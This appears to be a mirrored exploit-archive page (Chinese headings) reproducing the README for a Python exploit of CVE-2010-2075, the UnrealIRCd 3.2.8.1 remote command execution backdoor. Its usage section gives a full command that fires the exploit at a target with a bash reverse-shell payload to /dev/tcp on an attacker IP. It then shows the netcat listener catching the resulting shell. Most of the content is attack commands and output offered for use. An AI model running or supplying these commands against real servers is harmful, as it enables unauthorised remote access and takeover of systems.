来源

关联漏洞

描述

Exploit for CVE:2010-2075. This exploit allows remote command execution in UnrealIRCd 3.2.8.1.

介绍

# CVE-2010-2075
Exploit for CVE:2010-2075. This exploit allows remote command execution in UnrealIRCd 3.2.8.1.
# Requirements
optparse, signal
# Usage
You can send a command to execute, but there will be times when it will not respond, but you can simply send a reverse shell and wait for it to arrive.
```bash
python3 CVE-2010-2075.py -t 10.0.2.119 -p 6667 -c 'bash -c "bash -i >& /dev/tcp/10.0.2.48/443 0>&1"'
Creating connection
Creating payload
[*]Sending Payload...
```
And I received the shell
```bash
nc -nlvp 443
listening on [any] 443 ...
connect to [10.0.2.48] from (UNKNOWN) [10.0.2.119] 56916
bash: cannot set terminal process group (415): Inappropriate ioctl for device
bash: no job control in this shell
server@real:~/irc/Unreal3.2$
```

文件快照

 [4.0K]  /data/pocs/79429cee848a8d99a8f0e01b2df4ea093410da0a
├── [1.6K]  CVE-2010-2075.py
└── [ 751]  README.md

0 directories, 2 files

备注